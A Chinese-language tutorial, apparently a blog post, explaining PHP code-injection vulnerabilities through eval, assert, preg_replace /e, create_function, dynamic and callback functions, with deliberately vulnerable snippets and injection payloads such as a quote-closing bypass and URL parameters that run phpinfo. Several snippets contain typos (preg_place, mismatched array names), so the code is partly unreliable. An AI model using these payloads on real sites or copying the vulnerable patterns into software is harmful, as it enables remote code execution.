代码执行介绍
五类相关函数
1、eval+assert函数
2、preg_replace/e最新php不支持,php5广泛使用
3、用户自定义函数
4、动态函数
5、其他
1、
1 2 3 4 5 6 7
| eval(php4 php5 php7)--把字符串作为php代码执行,当用户可以控制字符串内容,那么此时存在代码注入漏洞。
<?php eval('phpinfo;'); ?> eval执行的代码必须加分号,不然会报错。 assert类似,但是兼容性更强,字符串中可不加分号,但是php7.1以上已经废弃assert
|
安全人员防御:加引号
1 2 3 4
| <?php $cmd=$_GET['cmd']; eval("\$ret=strtolower('$cmd');")//将字符串转为小写,反斜杠转义$,为了不当做变量处理 ?>
|
绕过姿势:
闭合+注释
1 2 3
| ');phpinfo();//注释掉后面的内容 传入变成 $ret=strtolower('');phpinfo();//
|
如果安全人员开启了GPC将无法绕过
因为
1 2
| 在php5之前,magic_quotes_gpc默认开启,但是在php的cookies中,如果有单引号将会被反斜杠转义,现在差不多淘汰,一般使用stripslashes函数转义 传入1'直接变成\'
|
2、
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| preg_place 存在危险修饰符/e
<?php preg_place("/abc/e",$_REQUEST['cmd'],"abc") ?> 这里匹配到了abc可直接执行传入的内容。
<?php preg_place('/<data>(.*)<\/data>/e','$ret="\\1";',$cmd)//反斜杠转义/,说明是字符串的内容。 echo $ret; ?>
传入 ?cmd=<data>{${phpinfo()}}</data>
|
3、自定义函数
1 2 3 4 5 6
| create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可构造特殊字符串传递给该函数执行任意命令。 <?php $func=create_function('',$_REQUEST['cmd']); $func(); ?> 第一个为参数,第二个为代码。
|
4、动态函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php function a(){ echo 'a'; } if(isset($_GET["func"])){ $myfunc=$_GET["func"] $myfunc(); } 传入?func=phpinfo
<?php $_GET['a']($_GET['b']); ?> 传入 ?a=assert&b=phpinfo()
|
用户自定义函数回调
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| call_user_func('assert',$_GET['cmd']);
使用is_callable函数来确定某函数是否可回调 输出1表示可,没输出不可。
传递数组类型 <?php $cmd=$_GET['cmd']; $arrar[0]=$cmd; call_user_func_array('assert',$array); ?>
如果代码没有转为数组,我们可以直接传入数组
?cmd[]=phpinfo()
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php $cmd=$_GET['cmd']; $array1=array($cmd); $func=$_GET['func']; array_filter($array,$func) ?> 这个函数不同于上面,这里参数在前,函数在后。
php5.6以上 sort usort($_GET)
?1[]=phpinfo()&1[]=123&2=assert()
|
5、其他
1 2 3 4 5 6 7 8
| ${php代码} <?php ${php代码}; ?>
或 $func=${phpinfo()}; $func();
|